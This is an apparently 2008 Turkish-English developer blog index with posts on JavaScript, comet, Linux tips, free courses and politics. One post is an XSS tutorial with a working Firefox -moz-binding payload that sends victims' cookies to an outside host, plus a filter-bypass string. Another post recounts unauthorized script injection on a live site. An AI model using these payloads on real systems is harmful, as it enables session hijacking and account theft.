Ucretsiz egitim kaynaklari Date: November 12, 2008 Tags: misc Comments(2)
Universiteler
Wikiversity : ozgur okul. ana-ilk-orta-lise-universite, herkes icinhttp://en.wikiversity.org/wiki/Wikiversity:Main_Page
mit opencourseware:
http://ocw.mit.edu/OcwWeb/web/home/home/index.htm
stanford engineering everywhere:
http://see.stanford.edu/see/courses.aspx
open yale courses:
http://oyc.yale.edu/
Videolar
MIT Channel: 731 adet bedava ders videosu var.yasakli oldugu icin ustteki mit opencourseware linkinden erisilebilirhttp://www.youtube.com/mit
burada gozumuz trt acikogretim derslerini ariyor ama trt hem dersleri yayindan kaldirdi hem de internete koymadi
Ders Notlari
everything i learned at mit:http://edboyden.org/sb1
Notes on Introduction To Algorithms:
http://lambda-the-ultimate.org/node/3053
Kaynak listeleri
http://educhoices.org/articles/15_Universities_Offering_Free_Online_Science_Courses.htmlhttp://www.advantageedu.com/blog/2008/10/100-incredible-open-courseware-resources-for-science-geeks/
http://www.advantageedu.com/blog/2008/09/100-free-online-ivy-league-courses-you-should-take-just-for-fun/
http://diplomaguide.com/articles/Online_Math_and_Statistics_Classes_Offered_Free_by_Top_Universities.html
http://degreedirectory.org/articles/13_Of_the_Best_Linux_Tutorials_and_OpenCourseWare_on_the_Web.html
http://www.oculture.com/2007/07/freeonlinecourses.html
economic hitman Date: November 10, 2008 Tags: misc Comments(2)
Zeitgeist:Addendum belgeselinden bir bolum;"Biz, ekonomik suikastçiler, küresel imparatorluğun yaratılmasında gerçekten sorumlu olanlarız, ve birçok farklı şekilde çalışırız.Belki de en sık kullanılanı, öncelikle şirketlerimize uygun kaynakları olan ülkeleri bulur ve gözümüzü üstlerine dikeriz, petrol gibi.Ardından Dünya Bankası veya onun kardeşi başka bir organizasyondan o ülkeye büyük bir kredi ayarlarız, fakat para asla gerçekte o ülkeye gitmez.Ülke yerine o ülkede projeler yapan şirketlerimize gider.
Enerji santralleri, sanayi alanları, limanlar...Bizim şirketlere ilaveten, o ülkedeki birkaç zengin insanın kar sağlayacağı şeyler.Bunlar toplumun çoğunluğuna yaramaz. Yine de o insanlar, yani bütün ülke bu borcun altına sokulur.Bu borç ödeyemeyecekleri kadar büyüktür ve bu da planın bir parçasıdır... Geri ödeyemezler." Continue Reading
Open source yazilimla nasil para kazanilir? Date: November 4, 2008 Tags: misc Comments(0)
Acik kaynak, ozgur yazilim fikri, politik olarak hammaddenin olmadigi yazilim ortaminda uretim araclarinin egemenlerin tekelinden cikmasina hizmet eder, milyar dolar serveti olan Bill Gates ile cubuk kiraker yiyerek isletim sistemi yazan Torvalds'in arasindaki sinif farkini ortadan kaldirir.Sertifika almaya, pahali egitimlerden gecmeye gucu yetmeyenlerin de kendi araclariyla uretim yapabilmesini saglar.(not: Bugunku ekonomide egemenlerin open source'a hicbir zaman tam manada destek vermeyecek olmasinin temel nedeni, Karl Marx'in dedigi gibi, insanligin tarihteki ve simdiki tek savasi olan siniflar arasi uretim araci- paylasim mucadelesidir. )Ilk paragraftaki temel dayanakla problemi cozmeye calisalim; ucretsiz yazilim yapan programcilar yasamlarini surdurebilmek icin gerekli konforu nasil elde eder? Reel dunyada uretim araclari halen egemenler tarafindan tekel altinda tutulurken, bambaska sartlar altindaki kazanim nasil pratik bulabilir? Birkac cozum;
- Yazilimin ticari kullanimi ucretlendirilebilir.
- Calistirilabilir surume sponsor baglantilar gomulebilir.Orn: Mozilla-Google
- Kullaniciya servis/donanim hizmeti verilebilir.Orn: SMS destegi.
Umarim gelecekte ozgur yazilim, gelistiriciler icin hobi yerine yeterli kazanc kaynagi olacak, bunun icin yazilim dunyasindakine benzer mucadelenin cok zor da olsa gercek dunyada verilmesi gerekli.
Ilgili yazi: Sosyalizm ve Open Source
Best Way to Detecting Internet Explorer Versions Date: October 13, 2008 Tags: javascript Comments(2)
I've seen a detecting code when I was looking over developer pages of IE8:function getInternetExplorerVersion()
{
var rv = -1; // Return value assumes failure
if (navigator.appName == 'Microsoft Internet Explorer')
{
var ua = navigator.userAgent;
var re = new RegExp("MSIE ([0-9]{1,}[\.0-9]{0,})");
if (re.exec(ua) != null)
rv = parseFloat( RegExp.$1 );
}
return rv;
}
I think that there are lots of better ways to detecting browser version.Here is my one-line solution;
var IEVersion = /msie/i.test(navigator.userAgent) && parseInt(navigator.userAgent.match(/ie (\d)/i)[1]) || -1
We can use it to get Firefox version with some modifying;
/firefox/i.test(navigator.userAgent) && parseInt(navigator.userAgent.match(/firefox\/(\d)/i)[1]) || -1
As you see, test method of regular expressions is really useful, I had seen this technique at Hakan Bilgin's awesome extend.js library firstly.
Sosyalizm, Open Source Date: October 7, 2008 Tags: misc , turkce Comments(3)
Giris
Soru su, bize atalarimizdan bin yillar once toplumcu, sinifsiz bir dunya birakilmis olsaydi bugun nasil yasiyor olurduk? Cevaplarimi liste halinde yaziyorum;- Dunyada ne paylasim savasi, ne de teroru olurdu.Gecmiste yasanan hicbir katliam gerceklesmezdi. ( Kimisi der ki, savas insanligin bir parcasidir.Bu cok aptalca bir kucuk burjuva soylemidir, savas kapitalizm ve feodalizm duzeninde paylasim kavgasinin bir parcasidir. )
- Kazandiklarimizin yarisini tanklara, savas ucaklarina yatirmazdik.
- Hic kimse ac kalmaz, egitim ve saglik hizmetlerinden yararlanamayan olmazdi.Bugun Turkiye'de kanser tedavisi goren hastalar varini yogunu kaybediyor, ote yandan cocuk esirgeme kurumlarinda cocuklara iskence yapildigi belgeleniyor, cocuklar cop toplayip dilenip para kazanmaya calisiyor, butun kitaplar parayla satilip pek cok okul rusvetle ogrenci aliyor, kutuphaneler guncellenmiyor. Peki devlet bizden aldigi dunyanin en agir vergilerini ne yapiyor?
- Toplumun uzerinde hicbir guc olamazdi.
- Cinayet, hirsizlik vb. suclar hic yasanmazdi.
- Bilim, sanat ve kultur alanlarinda cok daha hizli gelisim saglanirdi.
- Dunya kaynaklari adil ve esit bir sekilde paylasildigi icin hicbir acgozlu burjuva ormanlari para icin talan edemezdi.
- Evet, simdiki kadar har vurup harman savuramazdik.Ornegin, kagittan ucak yapip firlatmaz, evimizin mobilyalarini ikide bir degistiremez ve eslerimize kurk hediye edemezdik.
- Ormanlari kesip bicip golf sahasi yapamazdik.
- Devlet arazileri insaat mafyalarina degil bugun latin amerika'daki sosyalist yonetimlerde yapildigi gibi halka dagitilirdi.
Yazinin kalan kisminda Sosyalizm ve Open source bolumlerini okuyabilirsiniz. Continue Reading
Pandora Date: October 2, 2008 Tags: linux , misc Comments(0)
Gelmiş geçmiş en hızlı ve yetenekli konsol Pandora dün Pandora'nın web sitesi
Pandora'nın türkçe web sitesi
Pandora'nın fotoğrafları
gtranslate Date: September 17, 2008 Tags: python Comments(2)
Update: Now Pardus Pisi package is available too! (Thanks to uic/yns)I coded a simple desktop program that provides using Google's translate service on linux/windows desktop, named GTranslate.
Screenshot
Download
- Linux:
- Windows: 9x/2k/XP/Vista Installer (5.4mb)
- Source: gtranslate_1.0.tar.gz (17.6KB)
Available Languages
Arabic, Bulgarian, Chinese, Croatian, Czech, Danish, Dutch, English, Finnish, French, German, Greek, Hindi, Italian, Japanese, Korean, Norwegian, Polish, Portuguese, Romanian, Russian, Spanish, SwedishDependencies
- Pyhon 2.5
- wxPython 2.6
Mutant Web Uygulamalari Date: August 25, 2008 Tags: cherrypy , comet , javascript , pi , python Comments(1)
RIATalks'ta yaptigim sunumun dosyasini sonunda buldum, artik indirmek mumkun; pdf | ppt | slideshare. Sunumun icerigi (40 slayt):- Teknik inceleme
- Cloudo ve Firebug Lite Nasil gelistirildi?
- DOM Teknikleri
- Veri Tasima Yontemleri
- Python ve Comet
- Comet Istegi Nasil Olusturulur?
- Server nasil yanit vermeli?
- CherryPy ile Stream Ornegi
- Gelecegin Browser Teknolojileri
- HTML5
- Javascript 2
- Tamarin,IronPython&IronRuby ve ScreamingMonkey
Bir aya ne sigabilir? Date: August 20, 2008 Tags: misc Comments(3)
Son bir ay, basima ilk kez gelen ilginc seylerle dolup tasti.Sabirsizlikla cikmasini bekledigim Firebug Lite'in hosting'ini Mozilla ustlendi ve ilk release yapildi.Tobias Boonstoppel FBLite'i Google Maps'in internal development ortamina ekledi, cesitli testler yapip hatalari duzeltmemi sagladi.Bunlar gelisirken, Tobias insan kaynaklarina beni onerip Google NY ofisinden is teklifi almami sagladi.Telefon mulakatini atlayip dogrudan yuzyuze gorusme safhasina geldik ama maalesef olmadi.Cok uzulmedim cunku henuz dogru duzgun bir ise baslayali daha 3 ay oldu, teknik olarak yeterli olmaktan ote, hazir olmadigimi onlar da anladi.FBLite bir sure daha beni iteklemeye devam etti, John Resig vb. fani oldugum gelistiricilerle tanismami sagladi.Diger yandan da kodfabrik'i kurmak icin bir melek yatirim sirketini (golden horn ventures) ikna cabasina giristim, 2 ay kafami mesgul etti ve negatif sonuclandi, kodfabrik'i kuramadim.Ikisi open source 4 proje vardi, hepsi icin sunum hazirlayip anlattim. Eger kurulsaydi sayili web yazilimi ureten sirketlerden biri olacaktik, mesela SitePen gibi.Ayrica, Turkiyede is bulamayan Javascript kodcularina da firsat dogacakti.
Yine tam o gunlerde Riatalks'a katilip uyuklayan insanlara comet,html5,javascript 2 vb. sacmasapan seyler anlatmaya calistim :) Bir iki kisinin cidden uykuya daldigini farkettim ama dinleyenler de vardi. Cloudo'nun gelistiricilerinden Selim de yanimdaydi.Ayni gun Gittigidiyor'un IT takimiyla nevizadede bir yere gittik, dansozler, sarkicilar, canli muzik, cikip oynayip oturan insanlar :) Cok eglendim.
RIATalks'ta sunum yapanlardan biri de takasmerkeziydi.Ertesi hafta bir yerde linklerine rastlayip girdim sitelerine ve bir urun eklerken tesadufen aciklarina rastladim. Cogu seyi .Net builder'a yaptirdiklari icin bircok acik var sitelerinde, script include yapilabiliyor. Yonetici haklarini kolayca ele gecirebilecekken, ben sadece "naber onder" yazip biraktim ve bundan bir suru olay patlak verdi.Adamlarin aciktan haberdar olmasini saglayacak ufak bir mesaj birakmisken beni evlerine giren hirsizla bir tuttular.Guya sitenin sahibi sabahlara kadar uyuyamamis, server'i kapatmislar, vs.Ben ssh tunnel'le ABD'den ciktigim icin proxy kullandigimi sanmislar, yani baska ip'lerden gelen flood gibi saldirilari da benim yaptigimi dusunmusler.Ve kendilerini oyle kaptirdilar ki, beni dusmanlari olarak gorup kariyerimin bitirilmesi icin, olayi cesitli sitelerde duyurup, istahla tartistilar.Isten kovduramadilar ama, direkten dondum :)
Son olay hic alisik olmadigim turden bir zirvalik oldugu icin ustumdeki olumsuz etkisini hala atamadim.Pi filminde anlatildigi gibi, hayatin akisi samanyolunun sekli spirale benziyor. Inis, cikis, tam ayaga kalkarken dusup, tekrar yeri opus :)
Biraz gec te olsa gidip tatil yapicam. Kendisine hurmetimi hic esirgemedigim tabiat ana bana bir kiyak yapmak isterse ruzgarini firtinasini kaputas'tan uzak tutar :) Buna cok sevinirim.
What's up? My desktop's up :) Date: July 21, 2008 Tags: linux Comments(0)
Ilk Linux denememi PCNet'in 7 cd'lik Suse hediye ettigi sayida yapmistim, KDE'yi de ilk denememdi sanirim.O donem kafasi karisik cocuklardan oldugumdan pek degerini bilememis ve Windows 2000'e geri donmustum.Yillar sonra Linux'u ogrenmeye baslarkense Gnome hosuma gitmisti, sonra eski bilgisayarlar icin ideal olan Xfce4'a gecis yapmistim.Xfce4 henuz pek de stabil olmadigindan pek memnun kalmadim ve yeni makine aldigim ilk gun tekrar Gnome'a dondum.Bu donusler esnasinda hic KDE denememistim ve icimdeki "acaba ne kaciriyorum?" kuskusuyla gecenlerde gnome yuklu ubuntu'ma kde 3 kurdum.Gercekten bi cok sey kacirmisim.Kate harika bir editor, ekran Vi'deki gibi bolunebiliyor ve session yoneticisi var, konsolu da var.Ekran goruntusu;
Kubuntu'da default dosya yoneticisi olarak Dolphin geliyor ama Konqueror'u begendim.Tab destegi, kate gibi session yoneticisi, ekrani split edebilmesi, PDF ve resim formatlarini okuyabilmesi.. Ayrica KHTML render engine ile web sayfalarini yorumlayabilmesi.. Tum bunlari yapan bir uygulamanin siskin, hantal oldugu dusunulebilir.Ama oldukca lightweight bir uygulama, cok hizli calisiyor. Denemeyenlere KDE'yi denemeyi oneririm.
cloudo Date: July 11, 2008 Tags: misc Comments(2)
Bugun Webrazzi'de g.ho.st adli bir Adobe Flash uygulamasindan soz ediliyor.Yazida g.ho.st un rakiplerinden onde ve en iddiali oldugu yaziyor ama bu dogru degil, g.ho.st piyasadaki en vasat dde uygulamasidir.Aslinda kisisel sitemdeki kucuk logbook'ta yazmistim ama konu acilmisken Cloudo'dan bahsetmeye karar verdim.Cloudo, Xindesk adli dde projesinin isim degistirmis hali, Isvec'te yasayan Hakan Bilgin ve takimi gelistiriyor.
Cloudo adobe flash degil open web uygulamasidir, oldukca hizli calisiyor ve teknik kaynaklar acisindan adobe flash alternatiflerine oranla daha zengin.Sistem icinde uygulama gelistirilebiliyor.Ayrica hazir olarak pek cok uygulama iceriyor, bu konuda da mevcut alternatiflerinden cok daha ileride.
Sistemi dilediginiz gibi ozellestirebiliyorsunuz ve pek cok tema var, OSX, Windows, Linux.. Bir temayi sectiginizde eskisinin yerine yuklenmesi turkiyedeki baglantiyla 10 saniyeden daha kisa suruyor.
Daha fazla incelemek icin, alpha surumune davetiye isteyin. Asagidaki ekran goruntusunu de inceleyebilirsiniz;
One step forward two steps back Date: July 10, 2008 Tags: comet , javascript Comments(0)
The newer versions of Opera Browser run functions twice which added as listener to event-source elements.I found this bug when I test new version of pi.comet .You can find the source code as below:event-source.html
<body> <div id="time"></div> <script> var event = document.createElement("event-source"); event.setAttribute("src","event-source.php"); document.body.appendChild(event); event.addEventListener("azer",function(){ document.getElementById("time").innerHTML += "
"+arguments[0].data; },false); </script> </body> event-source.php
<? header("content-type: application/x-dom-event-stream"); while(true){ print "Event: azer\\n"; print "data: ".time()."\\n\\n"; sleep(3); ob_flush(); flush(); } ?>
Web tabanli Trojan Nasil Yapilir? Date: May 11, 2008 Tags: javascript , security , turkce Comments(0)
XSS ve web guvenligi meraklilari icin birkac teknikten bahsetmeye karar verdim.Bunlardan ilki oldukca gecerli olan ve pek az bilinen, firefox'ta calisan moz-binding yontemi.Yaziyi "vuralim, kiralim" uslubuyla yazdim ancak amacim sadece guvenlik onlemleri icin kaynak olusturmak.Gecen yil Hakan (Bilgin) cloudo icin, bense r(ainbow)92 icin kod renklendirme yapmaya calisiyorduk. Hakan o zamanlar hazirladigi bir ornekte, XBL/-moz-binding teknigini kullanarak uygulamaya CSS kodu icinden XML import ediyor, XML'in icinden de javascript calistiriyordu.Bu bana oldukca ilginc gelmis ve -moz-binding ile tanismami saglamisti.
Eger bu ilginc teknigi, Yahoo UI gelistiricisi Douglas Crockford'un JSON'u kesfetmesini saglayan script include yontemiyle birlestirirseniz (bu yontem hem data transferlerini hem de client'ta istediginiz manyakligi yapmanizi saglar); yapabilecekleriniz hayal gucunuz kadar sinirsizdir. Ornegin maillerine hotmail,gmail vb web uzerinden ulasan bir kullanicinin tum maillerini cekebilir veya habersizce istediginiz maili yazdirtip gondertebilirsiniz.
Her iki yontemin de nasil kullanildigini anlamak icin kullanicilarin cookie'lerini victim list'e kaydetmeyi amacladigimiz kucuk bir ornek yapalim, ornegi denemek icin basit bir uygulama taslagi hazirlayabilirsiniz veya gercek bir kurban secebilirsiniz..
Sectigimiz web uygulamasi kullanicilarin sadece <strong> vb masum gorunen html tag'lerine izin veriyor olsun.Eger bu uygulama attribute'leri kontrol etmiyorsa isimiz kolay, onload vb event'lerle direk javascript calistirabiliriz.Eger kontrol ediyorsa, style attribute'una izin verilip verilmediginden emin olun. WYSIWYG editorlerinden veri bekleyen uygulamalarin hepsinde izin verilir.
Amacimiz style attribute'u icinde -moz-binding kullanarak xbl belgesini cagirmak. Bundan evvel javascript calistiracagimiz XBL belgesini hazirlayip kurbanlarin erisebilecegi bir yere yukleyelim:
<?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml"> <binding id="xss"> <implementation> <constructor> document.body.appendChild(document.createElement("script")).setAttribute("src","http://victim.com/?append="+escape(document.cookie)); </constructor> </implementation> </binding> </bindings> style='color:red; -moz-binding:url("http://victim.com/xbl.xml#xss");' Cok az bir ihtimalle kurbaniniz moz-binding yazilmasini veya cross domain veri cagrilmasini blocklamis olabilir. Bu durumda b planimiz "the-spanner.co.uk" adresinde yayinlanan bir snippet'tan geliyor: /style=\\-\\mo\\z-b\\i\\nd\\in\\g:\\url(//victim.com\\/xbl_log\\.xml\\#xss) Bundan sonrasi javascript bilginize kalmis. Kullanicinin arayuzunde daha cesitli tuneller acabilir, arayuzu degistirebilir veya kullanici adina islemler yapabilirsiniz.
1 Mayis Catismalarindaki Gozlemlerim Date: May 1, 2008 Tags: misc Comments(6)
1 Mayısta dayak yiyen binlerce insanın tamamı, ortalama bir polis veya askerden kat kat daha namuslu, halkini daha cok seven akilli insanlardi.Meymenetsiz suratlarındaki korku dolu sırıtışla hücum eden o adi korkaklardan ülkesine çok daha faydalı, aydın bir kitleydi 1 mayısı kutlayanlar.Gaz bombasından başlıyorum anlatmaya.Böyle namert bir silah sanırım görülmemiştir, zaten savaşlarda kullanılması yasaklanmış, bizim sümüklü vatanseverlerimizse bize karşı kullanıyor. Yaklaşık 10cm yüksekliğinde kalın bir mermi sıkıyorlar tüfekle, amerikan yapımıymış.El bombası şeklinde olanı da varmış ama hiç rastlamadım kullanıldığına.
Taksimin batısındaki dar sokaklardan birinde sıkıştırıldık, ardı ardına üstümüze plastik mermi ve gaz bombası yağdı.İki taş fazla atmak için vakti geldiğinde kaçmayınca gazın etkisiyle kendimi bir anlığına kaybedip yere düştüm, gözlerimi açamıyordum ve yüzüm yanıyordu.Buna rağmen polislerin eline geçme korkusuyla önüme gelen her merdiveni ayakta duramaz halde çıkıp ÖDP ilçe binasına girdim.İçeride mahşer kalabalığı vardı ve kadınlar kepenkleri tam indirmeyin diye çığlık atıyorlardı, çünkü dışarıda kalanlar o canavarların eline geçecekti.Hala nefes alamıyordum ve boğulmak üzere olduğum için kendimi kepengin altından dışarı attım. Yüzümü sorduğum birisi limon verdi, az ilerde gördüğüm kamyonetin arkasına saklanıp nefes almaya ve yanan yüzümü limonla soğutmaya çalıştım.Bu arada kamyonetin önünden elinde tüfekler olan 100 kişilik bir ekip geçti, etrafımızı sarmışlardı adeta.Bana limon veren arkadaşları bombaladılar ve ÖDP binasının olduğu sokağa doğru ilerlediler.Binadaki arkadaşların akıbetini bilmiyorum umarım polis binaya saldırmamıştır.(Siyasi partiler yasasına göre polis parti binasına giremez)
Neticede başarısız olduk.İstanbul dışından gelenler yollarını kaybetti, gözaltına alındılar, ailelerine haber veremiyor olabilirler.
Bu sayfada bu tür şeyleri paylaşmak hiç istemiyordum.Çünkü olanca cehaletine rağmen kendini otorite hissedenlerin bilginlik taslamasına, anasının karnında kibirle beslenmiş insanların bu tür olaylarla ilgili yazı, resim,video görüp yorum yapmasına vesile olmak istemiyorum. Buna rağmen vicdanı olanlar için başımıza gelenleri anlattım, muhtemelen haberlerde bizim provokatör, terörist olduğumuzu söylediler.Emin olun polisten, devletten ve askerden ala terörist, onlardan ala provokatör olmaz!
Appengine, Turbogears vs.. Date: April 27, 2008 Tags: misc Comments(3)
Python framework'lerinden bahsettigim yaziyi -gelisiguzel yazdigim icin- bu sayfadan kaldirdim. okumak isterseniz su linkte bir kopyasi bulunuyor: http://pastebin.com/pastebin.php?dl=f7eb9de98PI Comet's stable version released Date: April 9, 2008 Tags: comet , javascript , pi Comments(0)
I fixed base class and reported bugs.You can use pi.comet file or little bigger sized pi library (I'm prepearing a documentation and website for this library).pi.debugger released Date: April 2, 2008 Tags: debugging , javascript Comments(0)
I've developed a cross browser debugging tool that contains some Firebug features.You can try it in here and get more detailed information at pi project's website: http://pi-js.googlecode.comHere is a screenshot:
Pi.Comet works with Turbogears as well Date: April 2, 2008 Tags: cherrypy , comet , javascript , pi , turbogears Comments(2)
After a CherryPy test, I developed a real time chat example with pi.comet&Turbogears.Actually, I was going to add this example long time ago but I couldn't find any shared hostings available. Data streaming can not be used at Webfaction, because webfaction hosts turbogears with cgi support. If you have no hosting problems, you can use pi.comet and turbogears with your comet applications.For now, you can download and test it on your localhost.Download Example:turbogears_realtimeChat.tar.gz
Screenshot:
Microsoft IE8'de Gecko motorunu kullanmaya karar verdi! Date: April 1, 2008 Tags: javascript , misc Comments(0)
Microsoft ilginc bicimde, IE6'dan IE8 beta versiyonuna kadar Javascript yorumlama konusunda bir adim ilerlemedi.IE8 Acid2 testini gecmis olsa bile, asil bekledigimiz W3C Constructor'lar, HTML icin XPATH destegi gibi yeniliklerden haber gelmiyor.Yaklasik 6 yil once piyasaya surdukleri IE'nin bugun kullanildigini, bir yil sonra halen kullanilacagini dusunursek, ki kullanilacagi malum.. Hala nasil pozitif dusunulebilir, nasil IE8'in diger tarayicilarla rekabet edebilecegi hayal edilebilir ? Dogru duzgun Javascript kodlamak icin IE9'un cikmasini, ardindan da son kullanicinin basamak basamak IE9'a gecmesini mi bekleyecegiz? Su durumda bilimsel dusunmekle, karamsar dusunmek arasinda hicbir fark yok..Bu dusunceler arasinda coktandir Microsoft'un humanist bir kararla webkit veya gecko motorunu kullanmaya baslamasini umuyordum ki, bugun rss reader'ima su yazi dustu: Microsoft will use Gecko layout engine in IE 8
Birkac satir okuduktan sonra yuregim pirpir etti resmen :) Ama hatirlarsiniz, bugun o lanet gun 1 nisan :)
"in" Operator in Javascript Date: March 23, 2008 Tags: javascript Comments(0)
Javascript 1.5 contains the in operator that checks only property names.I can't figure out why Javascript returns the exact opposite of that other programming languages return on this operator. Here is an example: >>> var hello = ["bonjour","hola","saluton","selam"]; >>> "bonjour" in hello false >>> 1 in hello true Actually, we don't need to the in operator to check values of Array, we can use indexOf property to this action easily;
>>> var hello = ["bonjour","hola","saluton","selam"]; >>> hello.indexOf("bonjour")>-1; true >>> hello.indexOf("Hallo")>-1; false This operator available to checking object properties too but there are many way to check object properties already;
>>> var hello = { "french":"bonjour", "esperanto":"saluton", "turkish":"selam" }; >>> "turkish" in hello true >>> "german" in hello false >>> Boolean(hello["turkish"]); true >>> Boolean(hello["german"]); false The question is, how are object values checked?
gmCeviri Date: March 22, 2008 Tags: greasemonkey , javascript , misc Comments(4)
gmÇeviri, web sayfalarını gezerken fare imleciyle seçilen ingilizce metinleri türkçeye çevirmek için geliştirdiğim greasemonkey betiğidir.Daha fazla bilgi için yazının devamını okuyun. Continue Readingpi.comet's python module is available Date: March 21, 2008 Tags: cherrypy , comet , django , javascript , pi , python Comments(2)
I coded a python module to get cross browser output and a CherryPy example is available too.You can get these files in downloads list.You can use this module with any python web framework but there are some problems.Firstly, Django doesn't support multi-threading.And there is no shared hosting for CherryPy ( Webfaction runs CherryPy with CGI, sys.stdout.flush function doesn't work on that application ) I hope we have got more comet friendly web frameworks in the future.
VIM Ipuclari Date: March 17, 2008 Tags: linux Comments(2)
VIM ogrenmek istiyeyenler icin belgeler.org'da ogretici bir yazi var. Bu yazinin icermedigi ama ihtiyac duyacaginiz vim komutlari:
syntax enable: syntax'i renklendirmeyi saglar.set number: satir numaralarini acar.
set nowrap: wrap ozelligini kapatir, uzun kod satirlarini pencereye sigdirmaya calismaz.
set ai: auto indent.Yeni satira gecildiginde eski satirdaki hizadan baslar.
Her actiginizda otomatik calismasini istediginiz komutlari /home/$kullanici/.vimrc dosyasina yazin.
split dosya adi: pencereyi bolmek icin kullanilir, dikey olarak bolmek istenirse komutun onune vertical yazilir.
tabnew dosya adi: yeni tab acmak icin kullanilir. tab'lar arasinda hareket etmek icin, tabp (geri) ve tabn (ileri) komutlarini kullanin.
Genellikle ihtiyac duygudugum komutlar bunlar.Dilerseniz vi kilavuzunda da belirtildigi gibi, :help komutuyla yeni seyler kesfedebilirsiniz.Ayrica vim.org adresinde bir manual de bulunuyor.
linux terminalinde komut tanimlamak Date: March 17, 2008 Tags: linux Comments(0)
Linux kabugunun en sevdigim ozelligi, `alias` ile yeni komutlar olusturabilmek.Bu sayede pek cok isi tek komutla yapabilirsiniz, ornegin?Sistemi her yeniden yukleyisinizde `apt-get` programiyla ihtiyaciniz olan yazilimlari tek tek kurmak yerine, tek komutla bu isi halledebiliriz.Adimlari izleyin:
- herhangi bir editorle /home/$kullanici/.bash_aliases dosyasini acin.
- Ve istediginiz komutlari alias ile bu dosyada tanimlayin:
alias installMyPrograms="apt-get install rar unrar unzip cabextract" - dosyayi save edin ve yeni bir shell oturumu acin, artik komutunuzu kullanabilirsiniz.
komutlari dosyaya yazmamizin sebebi, kalici olmalarini saglamak.eger kalici olmasina gerek olmayan bir komut tanimlamak isterseniz, dogrudan komut satirinda da alias kullanilabiliyor.
Eger konsol yazdiginiz komutlari dikkate almiyorsa, alias dosyanizi include etmiyor olabilir.Bu problemi cozmek icin /home/$kullanici/.bashrc dosyasini editorunuzle acin ve su satirlarin onundeki comment'leri kaldirin:
if [ -f ~/.bash_aliases ]; then . ~/.bash_aliases fi Tekrar yeni bir shell oturumu acarak deneyin, artik calistigini goreceksiniz..
Creating Comet Applications In 3 Minutes Date: March 16, 2008 Tags: comet , javascript , pi Comments(11)
First version of my pi library has been released.This version contains a comet class and you can make comet requests in your applications by using it.Tutorial: Getting unix time from server(Sample File, Source)
Firstly, create an html file and import pi.js:
<script type="text/javascript" src="pi.js"></script> Then, send a request to push.php to get unix time from server:
var request = new pi.comet(); request.environment.setUrl("push.php"); request.event.push = function(RESPONSE){ document.title = "UNIX TIME AT SERVER: "+RESPONSE; }; request.send(); Finally, create an infinite loop at push.php, import pi.pushData function to this file and print the data which will be updated each time;
require_once "pi.pushData.php"; $type = $_GET["cometType"]; $name = $_GET["cometName"]; while(true){ pushData(time();$type,$name); ob_flush(); flush(); sleep(1); } That's all! You can get more information at pi.comet's wiki page.
Ileri Seviye Javascript Date: March 16, 2008 Tags: javascript Comments(3)
Birkaç ay uğraşarak az bilinen teknikleri içeren 14 sayfalık bir döküman yazdım.İçerik İndeksi:- Fonksiyonlar
- Diziler
- Objeler
- İleri Seviye OOP
PyWeblog: Simple&Useful Weblog Application Date: March 13, 2008 Tags: django , python Comments(0)
PyWeblog is a Django based open source blog application has written by me.Features:
- Template support (Django contains an advanced template language)
- Django administration interface
- Tagging
- Commenting
- Picture Uploading
Releases:
Installing
- Download latest version and extract anywhere.
- Create a MySQL database to use for this application
- Open settings.py to editing and set DATABASE_NAME,DATABASE_USER AND DATABASE_PASSWORD variables
- Open terminal in where you extracted the files, and type:
>>> python manage.py validate - If manage.py counted zero errors, type this:
>>> python.manage.py syncdb - That's all :)
